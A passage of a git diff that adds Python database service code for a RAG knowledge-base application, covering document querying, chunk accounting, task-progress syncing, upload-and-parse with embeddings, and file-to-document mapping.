+ (cls.model.kb_id == kb_id),
+ (fn.LOWER(cls.model.name).contains(keywords.lower()))
+ )
+ else:
+ query = cls.model.select(*fields).join(File2Document, on=(File2Document.document_id == cls.model.id)).join(File, on=(File.id == File2Document.file_id)).where(cls.model.kb_id == kb_id)
+
+
+ if run_status:
+ query = query.where(cls.model.run.in_(run_status))
+ if types:
+ query = query.where(cls.model.type.in_(types))
+ if suffix:
+ query = query.where(cls.model.suffix.in_(suffix))
+
+ rows = query.select(cls.model.run, cls.model.suffix)
+ total = rows.count()
+
+ suffix_counter = {}
+ run_status_counter = {}
+
+ for row in rows:
+ suffix_counter[row.suffix] = suffix_counter.get(row.suffix, 0) + 1
+ run_status_counter[str(row.run)] = run_status_counter.get(str(row.run), 0) + 1
+
+ return {
+ "suffix": suffix_counter,
+ "run_status": run_status_counter
+ }, total
+
+ @classmethod
+ @DB.connection_context()
+ def count_by_kb_id(cls, kb_id, keywords, run_status, types):
+ if keywords:
+ docs = cls.model.select().where(
+ (cls.model.kb_id == kb_id),
+ (fn.LOWER(cls.model.name).contains(keywords.lower()))
+ )
+ else:
+ docs = cls.model.select().where(cls.model.kb_id == kb_id)
+
+ if run_status:
+ docs = docs.where(cls.model.run.in_(run_status))
+ if types:
+ docs = docs.where(cls.model.type.in_(types))
+
+ count = docs.count()
+
+ return count
+
+ @classmethod
+ @DB.connection_context()
+ def get_total_size_by_kb_id(cls, kb_id, keywords="", run_status=[], types=[]):
+ query = cls.model.select(fn.COALESCE(fn.SUM(cls.model.size), 0)).where(
+ cls.model.kb_id == kb_id
+ )
+
+ if keywords:
+ query = query.where(fn.LOWER(cls.model.name).contains(keywords.lower()))
+ if run_status:
+ query = query.where(cls.model.run.in_(run_status))
+ if types:
+ query = query.where(cls.model.type.in_(types))
+
+ return int(query.scalar()) or 0
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_doc_ids_by_kb_ids(cls, kb_ids):
+ fields = [cls.model.id]
+ docs = cls.model.select(*fields).where(cls.model.kb_id.in_(kb_ids))
+ docs.order_by(cls.model.create_time.asc())
+ # maybe cause slow query by deep paginate, optimize later
+ offset, limit = 0, 100
+ res = []
+ while True:
+ doc_batch = docs.offset(offset).limit(limit)
+ _temp = list(doc_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_docs_by_creator_id(cls, creator_id):
+ fields = [
+ cls.model.id, cls.model.kb_id, cls.model.token_num, cls.model.chunk_num, Knowledgebase.tenant_id
+ ]
+ docs = cls.model.select(*fields).join(Knowledgebase, on=(Knowledgebase.id == cls.model.kb_id)).where(
+ cls.model.created_by == creator_id
+ )
+ docs.order_by(cls.model.create_time.asc())
+ # maybe cause slow query by deep paginate, optimize later
+ offset, limit = 0, 100
+ res = []
+ while True:
+ doc_batch = docs.offset(offset).limit(limit)
+ _temp = list(doc_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def insert(cls, doc):
+ if not cls.save(**doc):
+ raise RuntimeError("Database error (Document)!")
+ if not KnowledgebaseService.atomic_increase_doc_num_by_id(doc["kb_id"]):
+ raise RuntimeError("Database error (Knowledgebase)!")
+ return Document(**doc)
+
+ @classmethod
+ @DB.connection_context()
+ def remove_document(cls, doc, tenant_id):
+ from api.db.services.task_service import TaskService
+ cls.clear_chunk_num(doc.id)
+ try:
+ TaskService.filter_delete([Task.doc_id == doc.id])
+ page = 0
+ page_size = 1000
+ all_chunk_ids = []
+ while True:
+ chunks = settings.docStoreConn.search(["img_id"], [], {"doc_id": doc.id}, [], OrderByExpr(),
+ page * page_size, page_size, search.index_name(tenant_id),
+ [doc.kb_id])
+ chunk_ids = settings.docStoreConn.getChunkIds(chunks)
+ if not chunk_ids:
+ break
+ all_chunk_ids.extend(chunk_ids)
+ page += 1
+ for cid in all_chunk_ids:
+ if STORAGE_IMPL.obj_exist(doc.kb_id, cid):
+ STORAGE_IMPL.rm(doc.kb_id, cid)
+ if doc.thumbnail and not doc.thumbnail.startswith(IMG_BASE64_PREFIX):
+ if STORAGE_IMPL.obj_exist(doc.kb_id, doc.thumbnail):
+ STORAGE_IMPL.rm(doc.kb_id, doc.thumbnail)
+ settings.docStoreConn.delete({"doc_id": doc.id}, search.index_name(tenant_id), doc.kb_id)
+
+ graph_source = settings.docStoreConn.getFields(
+ settings.docStoreConn.search(["source_id"], [], {"kb_id": doc.kb_id, "knowledge_graph_kwd": ["graph"]}, [], OrderByExpr(), 0, 1, search.index_name(tenant_id), [doc.kb_id]), ["source_id"]
+ )
+ if len(graph_source) > 0 and doc.id in list(graph_source.values())[0]["source_id"]:
+ settings.docStoreConn.update({"kb_id": doc.kb_id, "knowledge_graph_kwd": ["entity", "relation", "graph", "subgraph", "community_report"], "source_id": doc.id},
+ {"remove": {"source_id": doc.id}},
+ search.index_name(tenant_id), doc.kb_id)
+ settings.docStoreConn.update({"kb_id": doc.kb_id, "knowledge_graph_kwd": ["graph"]},
+ {"removed_kwd": "Y"},
+ search.index_name(tenant_id), doc.kb_id)
+ settings.docStoreConn.delete({"kb_id": doc.kb_id, "knowledge_graph_kwd": ["entity", "relation", "graph", "subgraph", "community_report"], "must_not": {"exists": "source_id"}},
+ search.index_name(tenant_id), doc.kb_id)
+ except Exception:
+ pass
+ return cls.delete_by_id(doc.id)
+
+ @classmethod
+ @DB.connection_context()
+ def get_newly_uploaded(cls):
+ fields = [
+ cls.model.id,
+ cls.model.kb_id,
+ cls.model.parser_id,
+ cls.model.parser_config,
+ cls.model.name,
+ cls.model.type,
+ cls.model.location,
+ cls.model.size,
+ Knowledgebase.tenant_id,
+ Tenant.embd_id,
+ Tenant.img2txt_id,
+ Tenant.asr_id,
+ cls.model.update_time]
+ docs = cls.model.select(*fields) \
+ .join(Knowledgebase, on=(cls.model.kb_id == Knowledgebase.id)) \
+ .join(Tenant, on=(Knowledgebase.tenant_id == Tenant.id)) \
+ .where(
+ cls.model.status == StatusEnum.VALID.value,
+ ~(cls.model.type == FileType.VIRTUAL.value),
+ cls.model.progress == 0,
+ cls.model.update_time >= current_timestamp() - 1000 * 600,
+ cls.model.run == TaskStatus.RUNNING.value) \
+ .order_by(cls.model.update_time.asc())
+ return list(docs.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_unfinished_docs(cls):
+ fields = [cls.model.id, cls.model.process_begin_at, cls.model.parser_config, cls.model.progress_msg,
+ cls.model.run, cls.model.parser_id]
+ docs = cls.model.select(*fields) \
+ .where(
+ cls.model.status == StatusEnum.VALID.value,
+ ~(cls.model.type == FileType.VIRTUAL.value),
+ cls.model.progress < 1,
+ cls.model.progress > 0)
+ return list(docs.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def increment_chunk_num(cls, doc_id, kb_id, token_num, chunk_num, duration):
+ num = cls.model.update(token_num=cls.model.token_num + token_num,
+ chunk_num=cls.model.chunk_num + chunk_num,
+ process_duration=cls.model.process_duration + duration).where(
+ cls.model.id == doc_id).execute()
+ if num == 0:
+ logging.warning("Document not found which is supposed to be there")
+ num = Knowledgebase.update(
+ token_num=Knowledgebase.token_num +
+ token_num,
+ chunk_num=Knowledgebase.chunk_num +
+ chunk_num).where(
+ Knowledgebase.id == kb_id).execute()
+ return num
+
+ @classmethod
+ @DB.connection_context()
+ def decrement_chunk_num(cls, doc_id, kb_id, token_num, chunk_num, duration):
+ num = cls.model.update(token_num=cls.model.token_num - token_num,
+ chunk_num=cls.model.chunk_num - chunk_num,
+ process_duration=cls.model.process_duration + duration).where(
+ cls.model.id == doc_id).execute()
+ if num == 0:
+ raise LookupError(
+ "Document not found which is supposed to be there")
+ num = Knowledgebase.update(
+ token_num=Knowledgebase.token_num -
+ token_num,
+ chunk_num=Knowledgebase.chunk_num -
+ chunk_num
+ ).where(
+ Knowledgebase.id == kb_id).execute()
+ return num
+
+ @classmethod
+ @DB.connection_context()
+ def clear_chunk_num(cls, doc_id):
+ doc = cls.model.get_by_id(doc_id)
+ assert doc, "Can't fine document in database."
+
+ num = Knowledgebase.update(
+ token_num=Knowledgebase.token_num -
+ doc.token_num,
+ chunk_num=Knowledgebase.chunk_num -
+ doc.chunk_num,
+ doc_num=Knowledgebase.doc_num - 1
+ ).where(
+ Knowledgebase.id == doc.kb_id).execute()
+ return num
+
+
+ @classmethod
+ @DB.connection_context()
+ def clear_chunk_num_when_rerun(cls, doc_id):
+ doc = cls.model.get_by_id(doc_id)
+ assert doc, "Can't fine document in database."
+
+ num = (
+ Knowledgebase.update(
+ token_num=Knowledgebase.token_num - doc.token_num,
+ chunk_num=Knowledgebase.chunk_num - doc.chunk_num,
+ )
+ .where(Knowledgebase.id == doc.kb_id)
+ .execute()
+ )
+ return num
+
+
+ @classmethod
+ @DB.connection_context()
+ def get_tenant_id(cls, doc_id):
+ docs = cls.model.select(
+ Knowledgebase.tenant_id).join(
+ Knowledgebase, on=(
+ Knowledgebase.id == cls.model.kb_id)).where(
+ cls.model.id == doc_id, Knowledgebase.status == StatusEnum.VALID.value)
+ docs = docs.dicts()
+ if not docs:
+ return
+ return docs[0]["tenant_id"]
+
+ @classmethod
+ @DB.connection_context()
+ def get_knowledgebase_id(cls, doc_id):
+ docs = cls.model.select(cls.model.kb_id).where(cls.model.id == doc_id)
+ docs = docs.dicts()
+ if not docs:
+ return
+ return docs[0]["kb_id"]
+
+ @classmethod
+ @DB.connection_context()
+ def get_tenant_id_by_name(cls, name):
+ docs = cls.model.select(
+ Knowledgebase.tenant_id).join(
+ Knowledgebase, on=(
+ Knowledgebase.id == cls.model.kb_id)).where(
+ cls.model.name == name, Knowledgebase.status == StatusEnum.VALID.value)
+ docs = docs.dicts()
+ if not docs:
+ return
+ return docs[0]["tenant_id"]
+
+ @classmethod
+ @DB.connection_context()
+ def accessible(cls, doc_id, user_id):
+ docs = cls.model.select(
+ cls.model.id).join(
+ Knowledgebase, on=(
+ Knowledgebase.id == cls.model.kb_id)
+ ).join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id)
+ ).where(cls.model.id == doc_id, UserTenant.user_id == user_id).paginate(0, 1)
+ docs = docs.dicts()
+ if not docs:
+ return False
+ return True
+
+ @classmethod
+ @DB.connection_context()
+ def accessible4deletion(cls, doc_id, user_id):
+ docs = cls.model.select(cls.model.id
+ ).join(
+ Knowledgebase, on=(
+ Knowledgebase.id == cls.model.kb_id)
+ ).join(
+ UserTenant, on=(
+ (UserTenant.tenant_id == Knowledgebase.created_by) & (UserTenant.user_id == user_id))
+ ).where(
+ cls.model.id == doc_id,
+ UserTenant.status == StatusEnum.VALID.value,
+ ((UserTenant.role == UserTenantRole.NORMAL) | (UserTenant.role == UserTenantRole.OWNER))
+ ).paginate(0, 1)
+ docs = docs.dicts()
+ if not docs:
+ return False
+ return True
+
+ @classmethod
+ @DB.connection_context()
+ def get_embd_id(cls, doc_id):
+ docs = cls.model.select(
+ Knowledgebase.embd_id).join(
+ Knowledgebase, on=(
+ Knowledgebase.id == cls.model.kb_id)).where(
+ cls.model.id == doc_id, Knowledgebase.status == StatusEnum.VALID.value)
+ docs = docs.dicts()
+ if not docs:
+ return
+ return docs[0]["embd_id"]
+
+ @classmethod
+ @DB.connection_context()
+ def get_chunking_config(cls, doc_id):
+ configs = (
+ cls.model.select(
+ cls.model.id,
+ cls.model.kb_id,
+ cls.model.parser_id,
+ cls.model.parser_config,
+ Knowledgebase.language,
+ Knowledgebase.embd_id,
+ Tenant.id.alias("tenant_id"),
+ Tenant.img2txt_id,
+ Tenant.asr_id,
+ Tenant.llm_id,
+ )
+ .join(Knowledgebase, on=(cls.model.kb_id == Knowledgebase.id))
+ .join(Tenant, on=(Knowledgebase.tenant_id == Tenant.id))
+ .where(cls.model.id == doc_id)
+ )
+ configs = configs.dicts()
+ if not configs:
+ return None
+ return configs[0]
+
+ @classmethod
+ @DB.connection_context()
+ def get_doc_id_by_doc_name(cls, doc_name):
+ fields = [cls.model.id]
+ doc_id = cls.model.select(*fields) \
+ .where(cls.model.name == doc_name)
+ doc_id = doc_id.dicts()
+ if not doc_id:
+ return
+ return doc_id[0]["id"]
+
+ @classmethod
+ @DB.connection_context()
+ def get_doc_ids_by_doc_names(cls, doc_names):
+ if not doc_names:
+ return []
+
+ query = cls.model.select(cls.model.id).where(cls.model.name.in_(doc_names))
+ return list(query.scalars().iterator())
+
+ @classmethod
+ @DB.connection_context()
+ def get_thumbnails(cls, docids):
+ fields = [cls.model.id, cls.model.kb_id, cls.model.thumbnail]
+ return list(cls.model.select(
+ *fields).where(cls.model.id.in_(docids)).dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def update_parser_config(cls, id, config):
+ if not config:
+ return
+ e, d = cls.get_by_id(id)
+ if not e:
+ raise LookupError(f"Document({id}) not found.")
+
+ def dfs_update(old, new):
+ for k, v in new.items():
+ if k not in old:
+ old[k] = v
+ continue
+ if isinstance(v, dict):
+ assert isinstance(old[k], dict)
+ dfs_update(old[k], v)
+ else:
+ old[k] = v
+
+ dfs_update(d.parser_config, config)
+ if not config.get("raptor") and d.parser_config.get("raptor"):
+ del d.parser_config["raptor"]
+ cls.update_by_id(id, {"parser_config": d.parser_config})
+
+ @classmethod
+ @DB.connection_context()
+ def get_doc_count(cls, tenant_id):
+ docs = cls.model.select(cls.model.id).join(Knowledgebase,
+ on=(Knowledgebase.id == cls.model.kb_id)).where(
+ Knowledgebase.tenant_id == tenant_id)
+ return len(docs)
+
+ @classmethod
+ @DB.connection_context()
+ def begin2parse(cls, docid):
+ cls.update_by_id(
+ docid, {"progress": random.random() * 1 / 100.,
+ "progress_msg": "Task is queued...",
+ "process_begin_at": get_format_time()
+ })
+
+ @classmethod
+ @DB.connection_context()
+ def update_meta_fields(cls, doc_id, meta_fields):
+ return cls.update_by_id(doc_id, {"meta_fields": meta_fields})
+
+ @classmethod
+ @DB.connection_context()
+ def get_meta_by_kbs(cls, kb_ids):
+ fields = [
+ cls.model.id,
+ cls.model.meta_fields,
+ ]
+ meta = {}
+ for r in cls.model.select(*fields).where(cls.model.kb_id.in_(kb_ids)):
+ doc_id = r.id
+ for k,v in r.meta_fields.items():
+ if k not in meta:
+ meta[k] = {}
+ v = str(v)
+ if v not in meta[k]:
+ meta[k][v] = []
+ meta[k][v].append(doc_id)
+ return meta
+
+ @classmethod
+ @DB.connection_context()
+ def update_progress(cls):
+ docs = cls.get_unfinished_docs()
+
+ cls._sync_progress(docs)
+
+
+ @classmethod
+ @DB.connection_context()
+ def update_progress_immediately(cls, docs:list[dict]):
+ if not docs:
+ return
+
+ cls._sync_progress(docs)
+
+
+ @classmethod
+ @DB.connection_context()
+ def _sync_progress(cls, docs:list[dict]):
+ for d in docs:
+ try:
+ tsks = Task.query(doc_id=d["id"], order_by=Task.create_time)
+ if not tsks:
+ continue
+ msg = []
+ prg = 0
+ finished = True
+ bad = 0
+ e, doc = DocumentService.get_by_id(d["id"])
+ status = doc.run # TaskStatus.RUNNING.value
+ priority = 0
+ for t in tsks:
+ if 0 <= t.progress < 1:
+ finished = False
+ if t.progress == -1:
+ bad += 1
+ prg += t.progress if t.progress >= 0 else 0
+ if t.progress_msg.strip():
+ msg.append(t.progress_msg)
+ priority = max(priority, t.priority)
+ prg /= len(tsks)
+ if finished and bad:
+ prg = -1
+ status = TaskStatus.FAIL.value
+ elif finished:
+ prg = 1
+ status = TaskStatus.DONE.value
+
+ msg = "\n".join(sorted(msg))
+ info = {
+ "process_duration": datetime.timestamp(
+ datetime.now()) -
+ d["process_begin_at"].timestamp(),
+ "run": status}
+ if prg != 0:
+ info["progress"] = prg
+ if msg:
+ info["progress_msg"] = msg
+ if msg.endswith("created task graphrag") or msg.endswith("created task raptor") or msg.endswith("created task mindmap"):
+ info["progress_msg"] += "\n%d tasks are ahead in the queue..."%get_queue_length(priority)
+ else:
+ info["progress_msg"] = "%d tasks are ahead in the queue..."%get_queue_length(priority)
+ cls.update_by_id(d["id"], info)
+ except Exception as e:
+ if str(e).find("'0'") < 0:
+ logging.exception("fetch task exception")
+
+ @classmethod
+ @DB.connection_context()
+ def get_kb_doc_count(cls, kb_id):
+ return cls.model.select().where(cls.model.kb_id == kb_id).count()
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_kb_doc_count(cls):
+ result = {}
+ rows = cls.model.select(cls.model.kb_id, fn.COUNT(cls.model.id).alias('count')).group_by(cls.model.kb_id)
+ for row in rows:
+ result[row.kb_id] = row.count
+ return result
+
+ @classmethod
+ @DB.connection_context()
+ def do_cancel(cls, doc_id):
+ try:
+ _, doc = DocumentService.get_by_id(doc_id)
+ return doc.run == TaskStatus.CANCEL.value or doc.progress < 0
+ except Exception:
+ pass
+ return False
+
+
+ @classmethod
+ @DB.connection_context()
+ def knowledgebase_basic_info(cls, kb_id: str) -> dict[str, int]:
+ # cancelled: run == "2" but progress can vary
+ cancelled = (
+ cls.model.select(fn.COUNT(1))
+ .where((cls.model.kb_id == kb_id) & (cls.model.run == TaskStatus.CANCEL))
+ .scalar()
+ )
+
+ row = (
+ cls.model.select(
+ # finished: progress == 1
+ fn.COALESCE(fn.SUM(Case(None, [(cls.model.progress == 1, 1)], 0)), 0).alias("finished"),
+
+ # failed: progress == -1
+ fn.COALESCE(fn.SUM(Case(None, [(cls.model.progress == -1, 1)], 0)), 0).alias("failed"),
+
+ # processing: 0 <= progress < 1
+ fn.COALESCE(
+ fn.SUM(
+ Case(
+ None,
+ [
+ (((cls.model.progress == 0) | ((cls.model.progress > 0) & (cls.model.progress < 1))), 1),
+ ],
+ 0,
+ )
+ ),
+ 0,
+ ).alias("processing"),
+ )
+ .where(
+ (cls.model.kb_id == kb_id)
+ & ((cls.model.run.is_null(True)) | (cls.model.run != TaskStatus.CANCEL))
+ )
+ .dicts()
+ .get()
+ )
+
+ return {
+ "processing": int(row["processing"]),
+ "finished": int(row["finished"]),
+ "failed": int(row["failed"]),
+ "cancelled": int(cancelled),
+ }
+
+def queue_raptor_o_graphrag_tasks(doc, ty, priority, fake_doc_id="", doc_ids=[]):
+ """
+ You can provide a fake_doc_id to bypass the restriction of tasks at the knowledgebase level.
+ Optionally, specify a list of doc_ids to determine which documents participate in the task.
+ """
+ chunking_config = DocumentService.get_chunking_config(doc["id"])
+ hasher = xxhash.xxh64()
+ for field in sorted(chunking_config.keys()):
+ hasher.update(str(chunking_config[field]).encode("utf-8"))
+
+ def new_task():
+ nonlocal doc
+ return {
+ "id": get_uuid(),
+ "doc_id": fake_doc_id if fake_doc_id else doc["id"],
+ "from_page": 100000000,
+ "to_page": 100000000,
+ "task_type": ty,
+ "progress_msg": datetime.now().strftime("%H:%M:%S") + " created task " + ty,
+ "begin_at": datetime.now(),
+ }
+
+ task = new_task()
+ for field in ["doc_id", "from_page", "to_page"]:
+ hasher.update(str(task.get(field, "")).encode("utf-8"))
+ hasher.update(ty.encode("utf-8"))
+ task["digest"] = hasher.hexdigest()
+ bulk_insert_into_db(Task, [task], True)
+
+ if ty in ["graphrag", "raptor", "mindmap"]:
+ task["doc_ids"] = doc_ids
+ DocumentService.begin2parse(doc["id"])
+ assert REDIS_CONN.queue_product(get_svr_queue_name(priority), message=task), "Can't access Redis. Please check the Redis' status."
+ return task["id"]
+
+
+def get_queue_length(priority):
+ group_info = REDIS_CONN.queue_info(get_svr_queue_name(priority), SVR_CONSUMER_GROUP_NAME)
+ if not group_info:
+ return 0
+ return int(group_info.get("lag", 0) or 0)
+
+
+async def doc_upload_and_parse(conversation_id, file_objs, user_id):
+ from api.db.services.api_service import API4ConversationService
+ from api.db.services.conversation_service import ConversationService
+ from api.db.services.dialog_service import DialogService
+ from api.db.services.file_service import FileService
+ from api.db.services.llm_service import LLMBundle
+ from api.db.services.user_service import TenantService
+ from rag.app import audio, email, naive, picture, presentation
+
+ e, conv = ConversationService.get_by_id(conversation_id)
+ if not e:
+ e, conv = API4ConversationService.get_by_id(conversation_id)
+ assert e, "Conversation not found!"
+
+ e, dia = DialogService.get_by_id(conv.dialog_id)
+ if not dia.kb_ids:
+ raise LookupError("No knowledge base associated with this conversation. "
+ "Please add a knowledge base before uploading documents")
+ kb_id = dia.kb_ids[0]
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not e:
+ raise LookupError("Can't find this knowledgebase!")
+
+ embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING, llm_name=kb.embd_id, lang=kb.language)
+
+ err, files = await FileService.upload_document(kb, file_objs, user_id)
+ assert not err, "\n".join(err)
+
+ def dummy(prog=None, msg=""):
+ pass
+
+ FACTORY = {
+ ParserType.PRESENTATION.value: presentation,
+ ParserType.PICTURE.value: picture,
+ ParserType.AUDIO.value: audio,
+ ParserType.EMAIL.value: email
+ }
+ parser_config = {"chunk_token_num": 4096, "delimiter": "\n!?;。;!?", "layout_recognize": "Plain Text"}
+ exe = ThreadPoolExecutor(max_workers=12)
+ threads = []
+ doc_nm = {}
+ for d, blob in files:
+ doc_nm[d["id"]] = d["name"]
+ for d, blob in files:
+ kwargs = {
+ "callback": dummy,
+ "parser_config": parser_config,
+ "from_page": 0,
+ "to_page": 100000,
+ "tenant_id": kb.tenant_id,
+ "lang": kb.language
+ }
+ threads.append(exe.submit(FACTORY.get(d["parser_id"], naive).chunk, d["name"], blob, **kwargs))
+
+ for (docinfo, _), th in zip(files, threads):
+ docs = []
+ doc = {
+ "doc_id": docinfo["id"],
+ "kb_id": [kb.id]
+ }
+ for ck in th.result():
+ d = deepcopy(doc)
+ d.update(ck)
+ d["id"] = xxhash.xxh64((ck["content_with_weight"] + str(d["doc_id"])).encode("utf-8")).hexdigest()
+ d["create_time"] = str(datetime.now()).replace("T", " ")[:19]
+ d["create_timestamp_flt"] = datetime.now().timestamp()
+ if not d.get("image"):
+ docs.append(d)
+ continue
+
+ output_buffer = BytesIO()
+ if isinstance(d["image"], bytes):
+ output_buffer = BytesIO(d["image"])
+ else:
+ d["image"].save(output_buffer, format='JPEG')
+
+ STORAGE_IMPL.put(kb.id, d["id"], output_buffer.getvalue())
+ d["img_id"] = "{}-{}".format(kb.id, d["id"])
+ d.pop("image", None)
+ docs.append(d)
+
+ parser_ids = {d["id"]: d["parser_id"] for d, _ in files}
+ docids = [d["id"] for d, _ in files]
+ chunk_counts = {id: 0 for id in docids}
+ token_counts = {id: 0 for id in docids}
+ es_bulk_size = 64
+
+ def embedding(doc_id, cnts, batch_size=16):
+ nonlocal embd_mdl, chunk_counts, token_counts
+ vects = []
+ for i in range(0, len(cnts), batch_size):
+ vts, c = embd_mdl.encode(cnts[i: i + batch_size])
+ vects.extend(vts.tolist())
+ chunk_counts[doc_id] += len(cnts[i:i + batch_size])
+ token_counts[doc_id] += c
+ return vects
+
+ idxnm = search.index_name(kb.tenant_id)
+ try_create_idx = True
+
+ _, tenant = TenantService.get_by_id(kb.tenant_id)
+ llm_bdl = LLMBundle(kb.tenant_id, LLMType.CHAT, tenant.llm_id)
+ for doc_id in docids:
+ cks = [c for c in docs if c["doc_id"] == doc_id]
+
+ if parser_ids[doc_id] != ParserType.PICTURE.value:
+ from graphrag.general.mind_map_extractor import MindMapExtractor
+ mindmap = MindMapExtractor(llm_bdl)
+ try:
+ mind_map = trio.run(mindmap, [c["content_with_weight"] for c in docs if c["doc_id"] == doc_id])
+ mind_map = json.dumps(mind_map.output, ensure_ascii=False, indent=2)
+ if len(mind_map) < 32:
+ raise Exception("Few content: " + mind_map)
+ cks.append({
+ "id": get_uuid(),
+ "doc_id": doc_id,
+ "kb_id": [kb.id],
+ "docnm_kwd": doc_nm[doc_id],
+ "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", doc_nm[doc_id])),
+ "content_ltks": rag_tokenizer.tokenize("summary summarize 总结 概况 file 文件 概括"),
+ "content_with_weight": mind_map,
+ "knowledge_graph_kwd": "mind_map"
+ })
+ except Exception as e:
+ logging.exception("Mind map generation error")
+
+ vects = embedding(doc_id, [c["content_with_weight"] for c in cks])
+ assert len(cks) == len(vects)
+ for i, d in enumerate(cks):
+ v = vects[i]
+ d["q_%d_vec" % len(v)] = v
+ for b in range(0, len(cks), es_bulk_size):
+ if try_create_idx:
+ if not settings.docStoreConn.indexExist(idxnm, kb_id):
+ settings.docStoreConn.createIdx(idxnm, kb_id, len(vects[0]))
+ try_create_idx = False
+ settings.docStoreConn.insert(cks[b:b + es_bulk_size], idxnm, kb_id)
+
+ DocumentService.increment_chunk_num(
+ doc_id, kb.id, token_counts[doc_id], chunk_counts[doc_id], 0)
+
+ return [d["id"] for d, _ in files]
+
diff --git a/api/db/services/file2document_service.py b/api/db/services/file2document_service.py
new file mode 100644
index 0000000..31d75ac
--- /dev/null
+++ b/api/db/services/file2document_service.py
@@ -0,0 +1,96 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from datetime import datetime
+
+from api.db import FileSource
+from api.db.db_models import DB
+from api.db.db_models import File, File2Document
+from api.db.services.common_service import CommonService
+from api.db.services.document_service import DocumentService
+from api.utils import current_timestamp, datetime_format
+
+
+class File2DocumentService(CommonService):
+ model = File2Document
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_file_id(cls, file_id):
+ objs = cls.model.select().where(cls.model.file_id == file_id)
+ return objs
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_document_id(cls, document_id):
+ objs = cls.model.select().where(cls.model.document_id == document_id)
+ return objs
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_document_ids(cls, document_ids):
+ objs = cls.model.select().where(cls.model.document_id.in_(document_ids))
+ return list(objs.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def insert(cls, obj):
+ if not cls.save(**obj):
+ raise RuntimeError("Database error (File)!")
+ return File2Document(**obj)
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_file_id(cls, file_id):
+ return cls.model.delete().where(cls.model.file_id == file_id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_document_ids_or_file_ids(cls, document_ids, file_ids):
+ if not document_ids:
+ return cls.model.delete().where(cls.model.file_id.in_(file_ids)).execute()
+ elif not file_ids:
+ return cls.model.delete().where(cls.model.document_id.in_(document_ids)).execute()
+ return cls.model.delete().where(cls.model.document_id.in_(document_ids) | cls.model.file_id.in_(file_ids)).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_document_id(cls, doc_id):
+ return cls.model.delete().where(cls.model.document_id == doc_id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def update_by_file_id(cls, file_id, obj):
+ obj["update_time"] = current_timestamp()
+ obj["update_date"] = datetime_format(datetime.now())
+ cls.model.update(obj).where(cls.model.id == file_id).execute()
+ return File2Document(**obj)
+
+ @classmethod
+ @DB.connection_context()
+ def get_storage_address(cls, doc_id=None, file_id=None):
+ if doc_id:
+ f2d = cls.get_by_document_id(doc_id)
+ else:
+ f2d = cls.get_by_file_id(file_id)
+ if f2d:
+ file = File.get_by_id(f2d[0].file_id)
+ if not file.source_type or file.source_type == FileSource.LOCAL:
+ return file.parent_id, file.location
+ doc_id = f2d[0].document_id
+
+ assert doc_id, "please specify doc_id"
+ e, doc = DocumentService.get_by_id(doc_id)
+ return doc.kb_id, doc.location
diff --git a/api/db/services/file_service.py b/api/db/services/file_service.py
new file mode 100644
index 0000000..6e40642
--- /dev/null
+++ b/api/db/services/file_service.py
@@ -0,0 +1,547 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import re
+import traceback
+from concurrent.futures import ThreadPoolExecutor
+from pathlib import Path
+
+from flask_login import current_user
+from peewee import fn
+
+from api.db import KNOWLEDGEBASE_FOLDER_NAME, FileSource, FileType, ParserType
+from api.db.db_models import DB, Document, File, File2Document, Knowledgebase
+from api.db.services import duplicate_name
+from api.db.services.common_service import CommonService
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.utils import get_uuid
+from api.utils.file_utils import filename_type, read_potential_broken_pdf, thumbnail_img
+from rag.llm.cv_model import GptV4
+from rag.utils.storage_factory import STORAGE_IMPL
+
+
+class FileService(CommonService):
+ # Service class for managing file operations and storage
+ model = File
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_pf_id(cls, tenant_id, pf_id, page_number, items_per_page, orderby, desc, keywords):
+ # Get files by parent folder ID with pagination and filtering
+ # Args:
+ # tenant_id: ID of the tenant
+ # pf_id: Parent folder ID
+ # page_number: Page number for pagination
+ # items_per_page: Number of items per page
+ # orderby: Field to order by
+ # desc: Boolean indicating descending order
+ # keywords: Search keywords
+ # Returns:
+ # Tuple of (file_list, total_count)
+ if keywords:
+ files = cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == pf_id), (fn.LOWER(cls.model.name).contains(keywords.lower())), ~(cls.model.id == pf_id))
+ else:
